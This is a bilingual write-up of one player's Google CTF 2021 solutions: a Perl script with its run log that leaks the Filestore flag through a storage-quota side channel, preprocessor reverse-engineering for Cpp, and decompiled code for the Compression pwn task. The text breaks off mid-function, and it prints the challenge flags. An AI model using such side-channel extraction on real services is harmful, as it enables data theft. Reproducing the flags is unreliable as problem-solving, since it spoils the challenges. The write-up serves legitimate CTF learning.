Google CTF (2021) Writeup

# 概要 / About

[Google CTF](https://capturetheflag.withgoogle.com/) (2021/07/17 09:00 ～ 2021/07/19 09:00 (JST)) ([CTFtime.org](https://ctftime.org/event/1318)) に1人チームで参加した。
626点を獲得し、正の点数を取った379チーム中69位だった。

I participated in [Google CTF](https://capturetheflag.withgoogle.com/) (July 17, 2021 09:00 - July 19, 2021 09:00 (JST: UTC+9)) ([CTFtime.org](https://ctftime.org/event/1318)) as a one-person team.
I earned 626 points and ranked 69th among 379 teams that earned positive points.

問題のデータは以下の場所にある。
Here is the challenge data.
[google-ctf/2021/quals at master · google/google-ctf · GitHub](https://github.com/google/google-ctf/tree/master/2021/quals)

解けた問題と時刻は以下のようになった。
hardware、crypto、web からは1問も解けなかった。

Here's a list of challenges I solved and the time I solved them on.
I solved no challenges from hardware, crypto, and web.

|Name|Category|Value|Solved|Time (JST)|
|---|---|--:|--:|---|
|Cpp|reversing|75|155|07/17 12:12|
|abc arm and amd|misc|347|12|07/18 15:19|
|Filestore|misc|50|321|07/18 17:19|
|Compression|pwn|154|77|07/18 22:28|

|公式スコアグラフ (解いた時点での点数)<br>Score graph on the system (Scores on solving)|スコアグラフ (最終的な点数を使用)<br>Score graph (Based on the final values of challenges)|
|---|---|
|![公式スコアグラフ](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/2b22b99e-e3cf-d6ec-5f41-b4553bd21f12.png)|![スコアグラフ](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/7b789fbd-7405-1cbc-b581-954d968f2a3a.png)|

# Writeups in English

This competition requested to submit writeups. One accepted form for that is GitHub Gists.
Here are GitHub Gists links I used for submissions.

* [Google CTF (2021) "Filestore" Writeup](https://gist.github.com/mikecat/e626e89cb2dfa91eac10c1e14f6366a1)
* [Google CTF (2021) "Cpp" Writeup](https://gist.github.com/mikecat/c38f5a54f16569a44478fc601a7601bd)
* [Google CTF (2021) "Compression" Writeup](https://gist.github.com/mikecat/a580c9c91f54f514beb138c77e1675e2)
* [Google CTF (2021) "abc arm and amd" Writeup](https://gist.github.com/mikecat/937d02ff5ec8f2d03703b13b7b4c7771)

# 解けた問題

## Filestore (misc)

TCPサーバの接続情報と、サーバのプログラムのソースコードが与えられた。

このサーバでは、文字列の保存、読み出し、使用している容量の確認ができる。
保存の際は、既に保存されている文字列と共通部分があればそれを再利用するようになっている。

文字列の再利用といえば、InterKosenCTF 2020 の No pressure である。

* [InterKosenCTF2020-challenges/misc/no_pressure at master · theoremoon/InterKosenCTF2020-challenges · GitHub](https://github.com/theoremoon/InterKosenCTF2020-challenges/tree/master/misc/no_pressure)
* [InterKosenCTF 2020 の write-up - st98 の日記帳](https://st98.github.io/diary/posts/2020-09-08-interkosenctf2020.html#misc-335-no-pressure-16-solves)
* [InterKosenCTF2020 writeup - kisaragiのブログ](https://kisqragi.hatenablog.com/entry/2020/09/12/223118#No-pressure)

No pressure は、flagの後に入力データを加えたものをzlib圧縮してARC4で暗号化したものを返してくれるサーバがあり、
zlibはデータに共通部分が多いと圧縮の効率が上がることを利用してサイズの差からflagを求める問題であった。

そこで、今回の問題でも、入力した文字列が既に保存されている文字列に含まれていれば容量を消費しないが、
そうでない場合は容量を消費する、ということからflagを求めていけると考えた。
そして、これを行うプログラムを書いた。

<details><summary>使用している容量の変化からflagを求めるプログラム</summary><div>

```attack.pl
#!/usr/bin/perl

use strict;
use warnings;

if (@ARGV < 2) {
	warn "Usage: perl attack.pl host port [prefix]\n";
	exit 1;
}

use IO::Socket;

my $sock = new IO::Socket::INET(PeerAddr=>$ARGV[0], PeerPort=>int($ARGV[1]), Proto=>"tcp");

die "socket error: $!" unless $sock;

my $result = @ARGV >= 3 ? $ARGV[2] : "CTF{";

for (;;) {
	my $line = <$sock>;
	die "socket read error\n" unless $line;
	if ($line =~ /^- exit/) { last; }
}

sub read_quota {
	my $quota = "";
	print $sock "status\n";
	for (;;) {
		my $line = <$sock>;
		die "socket read error\n" unless $line;
		if ($line =~ /^Quota/) {
			$quota = $line;
		}
		if ($line =~ /^- exit/) { last; }
	}
	if ($quota eq "") { die "quota read error\n"; }
	return $quota;
}

my $prev_quota = &read_quota;

warn "start\n";
for (;;) {
	my $found = -1;
	for (my $i = 0x21; $i < 0x7f; $i++) {
		my $query = $result . chr($i) . "\n";
		print $sock "store\n";
		print $sock $query;
		for (;;) {
			my $line = <$sock>;
			die "socket read error\n" unless $line;
			if ($line =~ /^- exit/) { last; }
		}
		my $quota = &read_quota;
		if ($quota eq $prev_quota) {
			$found = $i;
			last;
		}
		$prev_quota = $quota;
		if ($i % 0x10 == 0) { print STDERR sprintf("%x", $i >> 4); }
	}
	if ($found < 0) {
		print STDERR "\n";
		print "--- not found ---\n";
		last;
	} else {
		print STDERR sprintf(" %c\n", $found);
		$result .= chr($found);
	}
}

close($sock);

print "$result\n";
```

</div></details>

一発では途中で接続が切れたり16バイトを超えて求められなかったりしたが、
このプログラムを何回か使うことでflagが得られた。

<details><summary>操作ログ</summary><div>

```
YUKI.N>attack.pl filestore.2021.ctfcompetition.com 1337
start
34 C
345 R
3 1
34 M
3 3
345 _
 0
3456 f
345 _
3456 d
3 3
34socket read error

YUKI.N>attack.pl filestore.2021.ctfcompetition.com 1337 CTF{CR1M3_0f_d3
start
3456 d
 !
34 C
345 T
34 F
34567 {
3Terminating on signal SIGINT(2)

YUKI.N>attack.pl filestore.2021.ctfcompetition.com 1337 "!"
start
34567
--- not found ---
!

YUKI.N>attack.pl filestore.2021.ctfcompetition.com 1337 "d3d"
start
34567 u
3456 p
3 1
3456 i
34socket read error

YUKI.N>attack.pl filestore.2021.ctfcompetition.com 1337 "1i"
start
3456 c
3 4
34567 t
3456 i
 0
3456 n
34567 }
3 1
3socket read error

YUKI.N>
```

</div></details>

```
CTF{CR1M3_0f_d3dup1ic4ti0n}
```

## Cpp (reversing)

C言語のソースコード`cpp.c`が与えられた。
このソースコードのライセンスは Apache License, Version 2.0 となっていた。
後述するこのソースコードを変換したものはDerivative Worksにあたると考えられるため、
以下にこのソースコードのライセンス情報を載せる。

> ```c
> // Copyright 2021 Google LLC
> // 
> // Licensed under the Apache License, Version 2.0 (the "License");
> // you may not use this file except in compliance with the License.
> // You may obtain a copy of the License at
> // 
> //     https://www.apache.org/licenses/LICENSE-2.0
> // 
> // Unless required by applicable law or agreed to in writing, software
> // distributed under the License is distributed on an "AS IS" BASIS,
> // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
> // See the License for the specific language governing permissions and
> // limitations under the License.
> ```

このソースコードは、プリプロセッサを用いた計算によって入力されたflagが正しいかを判定するものであった。
大きく分けて以下の部分があった。

1. 判定するflag
2. ROMのデータ (固定値およびflagに基づくもの)
3. ROMのデータを読み取るためのマクロ
4. 計算プログラム
5. 計算処理を繰り返すための部分
6. 判定結果を出力する部分

まずは以下のプログラムでインデントを追加してみた。

<details><summary>条件分岐にインデントを追加するプログラム</summary><div>

```format.pl
#!/usr/bin/perl

use strict;
use warnings;

my $level = 0;

while (my $line = <STDIN>) {
	if ($line =~ /#els/ || $line =~ /#end/) {
		$level--;
	}
	if ($level > 0) { print ("\t" x $level); }
	print $line;
	if ($line =~ /#if/ || $line =~ /#els/) {
		$level++;
	}
}
```

</div></details>

それでもよくわからなかったので、以下のプログラムでプリプロセッサによる処理をC言語に変換した。

<details><summary>処理をC言語に変換するプログラム</summary><div>

```convert.pl
#!/usr/bin/perl

use strict;
use warnings;

print <<EOF;
#include <stdio.h>
#include <stdlib.h>

EOF

for (my $i = 0; $i < 26; $i++) {
	my $c = chr(ord('A') + $i);
	printf("unsigned char %s0", $c);
	for (my $j = 1; $j <= 9; $j++) {
		printf(", %s%d", $c, $j);
	}
	print ";\n";
}


print <<EOF;
signed char S;
unsigned char c, l, l0, l1, l2, l3, l4, l5, l6, l7;

unsigned char ROM[256];

int LD(int placeholder, int idx) {
	int byte_idx = (l7 << 7) | (l6 << 6) | (l5 << 5) | (l4 << 4) | (l3 << 3) | (l2 << 2) | (l1 << 1) | l0;
	return (ROM[byte_idx] >> idx) & 1;
}

int main(void) {
if (fgets(ROM + 128, 128, stdin) == NULL) {
puts("read error");
return 1;
}
EOF

my $run = 0;

while (my $line = <STDIN>) {
	chomp($line);
	if ($run) {
		if ($line =~ /#if (.+)$/) {
			print "if ($1) {\n";
			$run++;
		} elsif ($line =~ /#ifdef (.+)$/) {
			print "if ($1) {\n";
			$run++;
		} elsif ($line =~ /#ifndef (.+)$/) {
			print "if (!($1)) {\n";
			$run++;
		} elsif ($line =~ /#undef (.+)$/) {
			print "$1 = 0;\n";
		} elsif ($line =~ /#define ([^ ]+) (.+)$/) {
			print "$1 = $2;\n";
		} elsif ($line =~ /#define (.+)$/) {
			print "$1 = 1;\n";
		} elsif ($line =~ /#else/) {
			if ($run == 1) {
				$run = 0;
			} else {
				print "} else {\n";
			}
		} elsif ($line =~ /#endif/) {
			print "}\n";
			$run--;
		} elsif ($line =~ /#error (.*)$/) {
			print "puts($1); exit(1);\n";
		}
	} else {
		if ($line =~ /#if __INCLUDE_LEVEL__ > 12/) {
			print "while (S != -1 && S != 59) {\n";
			$run = 1;
		} elsif ($line =~ /#define ROM_(0[01]+)_(.) (.)/) {
			printf("ROM[%d] |= %d << %d;\n", oct("0b" . $1), $3, $2);
		}
	}
}

print <<EOF;
}
if (S != -1) {
puts("Failed to execute program");
} else {
puts("Key valid.");
}
return 0;
}
EOF
```

</div></details>

これによる変換結果を[CS50 IDE][cs50]で

```
gcc -no-pie -O2 -o cpp-convert cpp-convert.c
```

というコマンドでコンパイルし、[angr](https://github.com/angr/angr)を用いてflagを求めようとしたが、すぐには求まらなそうだった。
そこで、処理内容を詳しく見てみた。
処理は`S`の値によってわけられ、それぞれの`S`の値について

1. `S`の値を更新する
2. 8ビットの整数について、代入・足し算・ビット演算・ROMの読み取り、0かどうかによる分岐のいずれかを行う

という処理になっていた。そこで、これらに基づいて処理内容を手動で整理した。

<details><summary>ROMの内容を読み取るプログラム</summary><div>

```read-rom.pl
#!/usr/bin/perl

use strict;
use warnings;

my @rom = ();
for (my $i = 0; $i < 128; $i++) { push(@rom, 0); }

while (my $line = <STDIN>) {
	if ($line =~ /#define ROM_(0[01]+)_(.) (.)/) {
		$rom[oct("0b" . $1)] |= int($3) << int($2);
	}
}

print "unsigned char ROM[256] = {\n";
for (my $i = 0; $i < 128; $i++) {
	if ($i % 16 == 0) { print "\t0x"; }
	printf("%02x", $rom[$i]);
	if ($i + 1 < 128) {
		if (($i + 1) % 16 == 0) {
			print ",\n";
		} else {
			print ", 0x";
		}
	}
}
print "\n};\n";
```

</div></details>

<details><summary>処理内容を整理した結果</summary><div>

```cpp-convert-manual.c
#include <stdio.h>
#include <stdlib.h>

unsigned char A, B, C, D, E, F, G, H, I, J, K, L, M, N, O, P, Q, R, T, U, V, W, X, Y, Z;
signed char S;

unsigned char ROM[256] = {
	0xbb, 0x55, 0xab, 0xc5, 0xb9, 0x9d, 0xc9, 0x69, 0xbb, 0x37, 0xd9, 0xcd, 0x21, 0xb3, 0xcf, 0xcf,
	0x9f, 0x09, 0xb5, 0x3d, 0xeb, 0x7f, 0x57, 0xa1, 0xeb, 0x87, 0x67, 0x23, 0x17, 0x25, 0xd1, 0x1b,
	0x08, 0x64, 0x64, 0x35, 0x91, 0x64, 0xe7, 0xa0, 0x06, 0xaa, 0xdd, 0x75, 0x17, 0x9d, 0x6d, 0x5c,
	0x5e, 0x19, 0xfd, 0xe9, 0x0c, 0xf9, 0xb4, 0x83, 0x86, 0x22, 0x42, 0x1e, 0x57, 0xa1, 0x28, 0x62,
	0xfa, 0x7b, 0x1b, 0xba, 0x1e, 0xb4, 0xb3, 0x58, 0xc6, 0xf3, 0x8c, 0x90, 0x3b, 0xba, 0x19, 0x6e,
	0xce, 0xdf, 0xf1, 0x25, 0x8d, 0x40, 0x80, 0x70, 0xe0, 0x4d, 0x1c, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};

int main(void) {
	if (fgets(ROM + 128, 128, stdin) == NULL) {
		puts("read error");
		return 1;
	}
	while (S != -1 && S != 59) {
		if (S == 0) {
			S = 24;
		}
		if (S == 1) {
			S = 2;
			R = ~R;
		}
		if (S == 2) {
			S = 3;
			Z = 0x01;
		}
		if (S == 3) {
			S = 4;
			R = R + Z;
		}
		if (S == 4) {
			S = 5;
			R = R + Z;
		}
		if (S == 5) {
			S = 6;
			if (R == 0) S = 38;
		}
		if (S == 6) {
			S = 7;
			R = R + Z;
		}
		if (S == 7) {
			S = 8;
			if (R == 0) S = 59;
		}
		if (S == 8) {
			S = 9;
			R = R + Z;
		}
		if (S == 9) {
			S = 10;
			if (R == 0) S = 59;
		}
		if (S == 10) {
			S = 11;
			puts("BUG"); exit(1);
		}
		if (S == 11) {
			S = -1;
		}
		if (S == 12) {
			S = 13;
			X = 0x01;
		}
		if (S == 13) {
			S = 14;
			Y = 0x00;
		}
		if (S == 14) {
			S = 15;
			if (X == 0) S = 22;
		}
		if (S == 15) {
			S = 16;
			Z = X;
		}
		if (S == 16) {
			S = 17;
			Z = Z & B;
		}
		if (S == 17) {
			S = 18;
			if (Z == 0) S = 19;
		}
		if (S == 18) {
			S = 19;
			Y = Y + A;
		}
		if (S == 19) {
			S = 20;
			X = X + X;
		}
		if (S == 20) {
			S = 21;
			A = A + A;
		}
		if (S == 21) {
			S = 14;
		}
		if (S == 22) {
			S = 23;
			A = Y;
		}
		if (S == 23) {
			S = 1;
		}
		if (S == 24) {
			S = 25;
			I = 0x00;
		}
		if (S == 25) {
			S = 26;
			M = 0x00;
		}
		if (S == 26) {
			S = 27;
			N = 0x01;
		}
		if (S == 27) {
			S = 28;
			P = 0x00;
		}
		if (S == 28) {
			S = 29;
			Q = 0x00;
		}
		if (S == 29) {
			S = 30;
			B = 0xe5;
		}
		if (S == 30) {
			S = 31;
			B = B + I;
		}
		if (S == 31) {
			S = 32;
			if (B == 0) S = 56;
		}
		if (S == 32) {
			S = 33;
			B = 0x80;
		}
		if (S == 33) {
			S = 34;
			B = B + I;
		}
		if (S == 34) {
			S = 35;
			A = ROM[B];
		}
		if (S == 35) {
			S = 36;
			B = ROM[I];
		}
		if (S == 36) {
			S = 37;
			R = 0x01;
		}
		if (S == 37) {
			S = 12;
		}
		if (S == 38) {
			S = 39;
			O = M;
		}
		if (S == 39) {
			S = 40;
			O = O + N;
		}
		if (S == 40) {
			S = 41;
			M = N;
		}
		if (S == 41) {
			S = 42;
			N = O;
		}
		if (S == 42) {
			S = 43;
			A = A + M;
		}
		if (S == 43) {
			S = 44;
			B = 0x20;
		}
		if (S == 44) {
			S = 45;
			B = B + I;
		}
		if (S == 45) {
			S = 46;
			C = ROM[B];
		}
		if (S == 46) {
			S = 47;
			A = A ^ C;
		}
		if (S == 47) {
			S = 48;
			P = P + A;
		}
		if (S == 48) {
			S = 49;
			B = 0x40;
		}
		if (S == 49) {
			S = 50;
			B = B + I;
		}
		if (S == 50) {
			S = 51;
			A = ROM[B];
		}
		if (S == 51) {
			S = 52;
			A = A ^ P;
		}
		if (S == 52) {
			S = 53;
			Q = Q | A;
		}
		if (S == 53) {
			S = 54;
			A = 0x01;
		}
		if (S == 54) {
			S = 55;
			I = I + A;
		}
		if (S == 55) {
			S = 29;
		}
		if (S == 56) {
			S = 57;
			if (Q == 0) S = 58;
		}
		if (S == 57) {
			S = 58;
			puts("INVALID_FLAG"); exit(1);
		}
		if (S == 58) {
			S = -1;
		}
	}
	if (S != -1) {
		puts("Failed to execute program");
	} else {
		puts("Key valid.");
	}
	return 0;
}
```

</div></details>


さらに、このプログラムから自明な`S`の操作フローを削除し、さらに整理した。

<details><summary>処理内容をさらに整理した結果</summary><div>

```cpp-convert-manual2.c
#include <stdio.h>
#include <stdlib.h>

unsigned char A, B, C, D, E, F, G, H, I, J, K, L, M, N, O, P, Q, R, T, U, V, W, X, Y, Z;
signed char S;

unsigned char ROM[256] = {
	0xbb, 0x55, 0xab, 0xc5, 0xb9, 0x9d, 0xc9, 0x69, 0xbb, 0x37, 0xd9, 0xcd, 0x21, 0xb3, 0xcf, 0xcf,
	0x9f, 0x09, 0xb5, 0x3d, 0xeb, 0x7f, 0x57, 0xa1, 0xeb, 0x87, 0x67, 0x23, 0x17, 0x25, 0xd1, 0x1b,
	0x08, 0x64, 0x64, 0x35, 0x91, 0x64, 0xe7, 0xa0, 0x06, 0xaa, 0xdd, 0x75, 0x17, 0x9d, 0x6d, 0x5c,
	0x5e, 0x19, 0xfd, 0xe9, 0x0c, 0xf9, 0xb4, 0x83, 0x86, 0x22, 0x42, 0x1e, 0x57, 0xa1, 0x28, 0x62,
	0xfa, 0x7b, 0x1b, 0xba, 0x1e, 0xb4, 0xb3, 0x58, 0xc6, 0xf3, 0x8c, 0x90, 0x3b, 0xba, 0x19, 0x6e,
	0xce, 0xdf, 0xf1, 0x25, 0x8d, 0x40, 0x80, 0x70, 0xe0, 0x4d, 0x1c, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};

int main(void) {
	if (fgets(ROM + 128, 128, stdin) == NULL) {
		puts("read error");
		return 1;
	}
	while (S != -1 && S != 59) {
		if (S == 0) {
			S = 24;
		}
		if (S == 1) {
			R = ~R;
			Z = 0x01;
			R = R + Z;
			R = R + Z;
			if (R == 0) S = 38; else S = 6;
		}
		if (S == 6) {
			R = R + Z;
			if (R == 0) S = 59; else S = 8;
		}
		if (S == 8) {
			S = 9;
			R = R + Z;
		}
		if (S == 9) {
			if (R == 0) S = 59; else S = 10;
		}
		if (S == 10) {
			puts("BUG"); exit(1);
		}
		if (S == 11) {
			S = -1;
		}
		if (S == 12) {
			X = 0x01;
			Y = 0x00;
			S = 14;
		}
		if (S == 14) {
			if (X == 0) S = 22; else S = 15;
		}
		if (S == 15) {
			Z = X;
			Z = Z & B;
			if (Z == 0) S = 19; else S = 18;
		}
		if (S == 18) {
			Y = Y + A;
			S = 19;
		}
		if (S == 19) {
			X = X + X;
			A = A + A;
			S = 14;
		}
		if (S == 22) {
			A = Y;
			S = 1;
		}
		if (S == 24) {
			I = 0x00;
			M = 0x00;
			N = 0x01;
			P = 0x00;
			Q = 0x00;
			S = 29;
		}
		if (S == 29) {
			B = 0xe5;
			B = B + I;
			if (B == 0) S = 56; else S = 32;
		}
		if (S == 32) {
			B = 0x80;
			B = B + I;
			A = ROM[B];
			B = ROM[I];
			R = 0x01;
			S = 12;
		}
		if (S == 38) {
			O = M;
			O = O + N;
			M = N;
			N = O;
			A = A + M;
			B = 0x20;
			B = B + I;
			C = ROM[B];
			A = A ^ C;
			P = P + A;
			B = 0x40;
			B = B + I;
			A = ROM[B];
			A = A ^ P;
			Q = Q | A;
			A = 0x01;
			I = I + A;
			S = 29;
		}
		if (S == 56) {
			S = 57;
			if (Q == 0) S = 58; else S = 57;
		}
		if (S == 57) {
			puts("INVALID_FLAG"); exit(1);
		}
		if (S == 58) {
			S = -1;
		}
	}
	if (S != -1) {
		puts("Failed to execute program");
	} else {
		puts("Key valid.");
	}
	return 0;
}
```

</div></details>

このプログラムを同様にCS50 IDEでコンパイルし、angrを用いることで、flagが得られた。

```
CTF{pr3pr0cess0r_pr0fe5sor}
```

## Compression (pwn)

TCPサーバの接続情報と、サーバのプログラム(ELFファイル)が与えられた。
ELFファイルを[Ghidra](https://ghidra-sre.org/)で逆コンパイルしてみた結果、`main`関数は以下のようになっていた。

<details><summary>`main`関数の逆コンパイル結果</summary><div>

```c

undefined8 main(void)

{
  int iVar1;
  FILE *pFVar2;
  undefined8 uVar3;
  undefined8 uVar4;
  long in_FS_OFFSET;
  int local_333c;
  undefined8 local_3338;
  undefined4 local_3330;
  undefined2 local_332c;
  char local_3238 [256];
  char local_3138 [256];
  undefined local_3038 [8192];
  undefined4 local_1038 [1026];
  long local_30;
  
  local_30 = *(long *)(in_FS_OFFSET + 0x28);
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stderr,(char *)0x0,2,0);
  local_3330 = 0x6d2e5441;
  local_3338 = 0x4d524f4620746163;
  local_332c = 100;
  puts("What can I do for you?");
  puts("1. Compress string");
  puts("2. Decompress string");
  puts("3. Read compression format documentation");
  putchar(10);
  local_333c = 0;
  iVar1 = __isoc99_scanf(&DAT_001020b4,&local_333c);
  if (iVar1 == 1) {
    if (local_333c == 1) {
      puts("Send me the hex-encoded string (max 4k):");
      __isoc99_scanf("%8000s",local_3038);
      uVar4 = dehex(local_3038);
      local_1038[0] = 0x594e4954;
      uVar3 = compress.part.0(local_1038,4000,local_3038,uVar4);
      __printf_chk(1,"These %zu bytes compress to %zu bytes (%.2lf%%):\n",uVar4,uVar3);
      printhex(local_1038,uVar3);
    }
    else {
      if (local_333c == 2) {
        puts("Send me the hex-encoded string (max 4k):");
        __isoc99_scanf("%8000s",local_3038);
        uVar4 = dehex(local_3038);
        uVar4 = decompress(local_1038,4000,local_3038,uVar4);
        puts("That decompresses to:");
        printhex(local_1038,uVar4);
      }
      else {
        if (local_333c != 3) goto LAB_001014c2;
        puts("Format documentation is password protected.");
        puts("Input password:");
        __isoc99_scanf("%100s",local_3238);
        pFVar2 = fopen("FORMAT.md.password","r");
        __isoc99_fscanf(pFVar2,&DAT_0010210e,local_3138);
        iVar1 = strcmp(local_3238,local_3138);
        if (iVar1 != 0) {
                    /* WARNING: Subroutine does not return */
          error("wrong password");
        }
        system((char *)&local_3338);
      }
    }
    if (local_30 == *(long *)(in_FS_OFFSET + 0x28)) {
      return 0;
    }
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
LAB_001014c2:
                    /* WARNING: Subroutine does not return */
  error("invalid choice");
}
```

</div></details>

圧縮処理は任意のデータに対応することを求められそうなので攻撃は成立しにくそうであり、
この中で攻撃をしかけるなら解凍処理であると考えた。
解凍処理の本体である`decompress`関数のGhidraによる逆コンパイル結果は以下のようになり、
だいたいの流れを理解する助けにはなったが、詳しい処理内容はよくわからなかった。

<details><summary>`decompress`関数の逆コンパイル結果</summary><div>

```c
ulong decompress(long param_1,ulong param_2,char *param_3,ulong param_4)

{
  byte *pbVar1;
  byte bVar2;
  ulong uVar3;
  ulong uVar4;
  byte bVar5;
  undefined *puVar6;
  undefined *puVar7;
  ulong uVar8;
  ulong uVar9;
  ulong uVar10;
  
  if (param_4 != 0) {
    if (*param_3 != 'T') {
LAB_001019d7:
                    /* WARNING: Subroutine does not return */
      error("bad magic");
    }
    if (1 < param_4) {
      if (param_3[1] != 'I') goto LAB_001019d7;
      if (param_4 != 2) {
        if (param_3[2] != 'N') goto LAB_001019d7;
        if (param_4 != 3) {
          if (param_3[3] != 'Y') goto LAB_001019d7;
          if (param_4 != 4) {
            uVar10 = 0;
            uVar9 = 4;
            do {
              uVar4 = uVar9 + 1;
              if (param_3[uVar9] == -1) {
                bVar5 = 0;
                uVar9 = 0;
                do {
                  if (param_4 <= uVar4) goto LAB_001019b4;
                  uVar3 = uVar4 + 1;
                  pbVar1 = (byte *)(param_3 + uVar4);
                  bVar2 = bVar5 & 0x3f;
                  bVar5 = bVar5 + 7;
                  uVar9 = uVar9 | (ulong)(*pbVar1 & 0x7f) << bVar2;
                  uVar4 = uVar3;
                } while ((char)*pbVar1 < '\0');
                bVar5 = 0;
                uVar8 = 0;
                do {
                  if (param_4 <= uVar3) goto LAB_001019b4;
                  uVar4 = uVar3 + 1;
                  pbVar1 = (byte *)(param_3 + uVar3);
                  bVar2 = bVar5 & 0x3f;
                  bVar5 = bVar5 + 7;
                  uVar8 = uVar8 | (ulong)(*pbVar1 & 0x7f) << bVar2;
                  uVar3 = uVar4;
                } while ((char)*pbVar1 < '\0');
                if (uVar9 == 0) {
                  if (uVar8 == 0) {
                    return uVar10;
                  }
                  if (uVar8 != 1) {
                    /* WARNING: Subroutine does not return */
                    error("invalid special command");
                  }
                  if (param_2 <= uVar10) goto LAB_001019cb;
                  *(undefined *)(param_1 + uVar10) = 0xff;
                  uVar10 = uVar10 + 1;
                }
                else {
                  if (uVar8 != 0) {
                    puVar6 = (undefined *)((uVar10 - uVar9) + param_1);
                    do {
                      puVar7 = puVar6 + 1;
                      puVar6[uVar9] = *puVar6;
                      puVar6 = puVar7;
                    } while (puVar7 != (undefined *)(((param_1 + uVar10) - uVar9) + uVar8));
                    uVar10 = uVar10 + uVar8;
                  }
                }
              }
              else {
                if (param_2 <= uVar10) {
LAB_001019cb:
                    /* WARNING: Subroutine does not return */
                  error("destination overflow");
                }
                *(char *)(param_1 + uVar10) = param_3[uVar9];
                uVar10 = uVar10 + 1;
              }
              uVar9 = uVar4;
            } while (uVar4 < param_4);
          }
        }
      }
    }
  }
LAB_001019b4:
                    /* WARNING: Subroutine does not return */
  error("input underflow");
}
```

</div></details>

そこで、ELFファイルを[TDM-GCC][tdmgcc]の`objdump`で逆アセンブルし、処理内容をC言語で書き下した。

<details><summary>`decompress`関数の書き下し結果</summary><div>

```decompress-kakikudasi.c
#include <inttypes.h>

uint64_t decompress(unsigned char* rdi, uint64_t rsi, unsigned char* rdx, uint64_t rcx) {
	unsigned char* r10, *rsi_ptr;
	uint64_t r8, r11, r12, rax, r9, rdx_int, rbx;
	uint32_t edx, r9d, esi;
	/* 184b */
	if (rcx == 0) error("input underflow");
	/* 1854 */
	r10 = rdi;
	rdi = rdx;
	if (rdx[0] != 0x54) error("bad magic");
	/* 1863 */
	r8 = rcx;
	if (rcx <= 1)  error("input underflow");
	if (rdx[1] != 0x49) error("bad magic");
	if (rcx <= 2)  error("input underflow");
	if (rdx[2] != 0x4e) error("bad magic");
	if (rcx <= 3)  error("input underflow");
	if (rdx[3] != 0x59) error("bad magic");
	if (rcx <= 4) error("input underflow");
	/* 18ac */
	r11 = rsi;
	r12 = 0;
	edx = 4;
	for (;;) {
		/* 18b7 */
		for (;;) {
			/* 18dd */
			rax = edx + 1;
			edx = rdi[edx];
			if (edx == 0xff) break;
			/* 18c0 */
			if (r12 >= r11) error("destination overflow");
			/* 18c9 */
			r10[r12] = edx;
			/* 18cd */
			r12 += 1;
			edx = rax;
			/* 18d4 */
			if (r8 <= rax) error("input underflow");
		}
		/* 18ea */
		rcx = 0;
		r9 = 0;
		do {
			/* 18f0 */
			if (rax >= r8) error("input underflow");
			/* 18f9 */
			rax += 1;
			esi = rdi[rax - 1];
			rdx_int = esi;
			rdx_int &= 0x7f;
			rdx_int <<= rcx & 0xff;
			rcx += 7;
			r9 |= rdx_int;
			/* 1914 */
		} while (esi & 0x80);
		/* 1916 */
		rcx = 0;
		rbx = 0;
		do {
			/* 1920 */
			if (rax >= r8) error("input underflow");
			/* 1929 */
			rax += 1;
			esi = rdi[rax - 1];
			rdx_int = esi;
			rdx_int &= 0x7f;
			rdx_int <<= rcx & 0xff;
			rcx += 7;
			rbx |= rdx_int;
			/* 1941 */
		} while (esi & 0x80);
		/* 1946 */
		if (r9 == 0) {
			/* 194b */
			if (rbx == 0) return rax;
			/* 1950 */
			if (rbx != 1) error("invalid special command");
			/* 195a */
			if (r12 >= r11) error("destination overflow");
			/* 195f */
			r10[r12] = 0xff;
			edx = rax;
			r12 += 1;
			/* 18d4 */
			if (r8 <= rax) error("input underflow");
		} else {
			/* 1970 */
			if (rbx == 0) {
				/* 19ac */
				edx = rax;
				/* 18d4 */
				if (r8 <= rax) error("input underflow");
				continue;
			}
			/* 1975 */
			edx = r12;
			rsi_ptr = r10 + r12;
			edx -= r9;
			rsi_ptr -= r9;
			rdx = edx + r10;
			rsi_ptr += rbx;
			do {
				/* 1990 */
				rcx = rdx[0];
				rdx += 1;
				rdx[r9 - 1] = rcx;
				/* 199c */
			} while (rdx != rsi_ptr);
			/* 19a1 */
			r12 += rbx;
			edx = rax;
		}
	}
}
```

</div></details>

さらに意味を考えて変数にわかりやすい名前を付け、整理した。

<details><summary>`decompress`関数の処理内容</summary><div>

```decompress-kakikudasi-act2.c
#include <inttypes.h>

uint64_t decompress(unsigned char* output_data, uint64_t output_size, unsigned char* input_data, uint64_t input_size) {
	uint32_t output_pos, input_pos;
	uint64_t first_value, second_value, bit_pos, next_pos, input_value;
	/* 184b */
	if (input_size == 0) error("input underflow");
	/* 1854 */
	if (input_data[0] != 'T') error("bad magic");
	/* 1863 */
	if (input_size <= 1)  error("input underflow");
	if (input_data[1] != 'I') error("bad magic");
	if (input_size <= 2)  error("input underflow");
	if (input_data[2] != 'N') error("bad magic");
	if (input_size <= 3)  error("input underflow");
	if (input_data[3] != 'Y') error("bad magic");
	if (input_size <= 4) error("input underflow");
	/* 18ac */
	output_pos = 0;
	input_pos = 4;
	for (;;) {
		/* 18b7 */
		for (;;) {
			/* 18dd */
			next_pos = input_pos + 1;
			input_value = input_data[input_pos];
			if (input_value == 0xff) break;
			/* 18c0 */
			if (output_pos >= output_size) error("destination overflow");
			/* 18c9 */
			output_data[output_pos] = input_value;
			/* 18cd */
			output_pos += 1;
			input_pos = next_pos;
			/* 18d4 */
			if (input_size <= next_pos) error("input underflow");
		}
		/* 18ea */
		bit_pos = 0;
		first_value = 0;
		do {
			/* 18f0 */
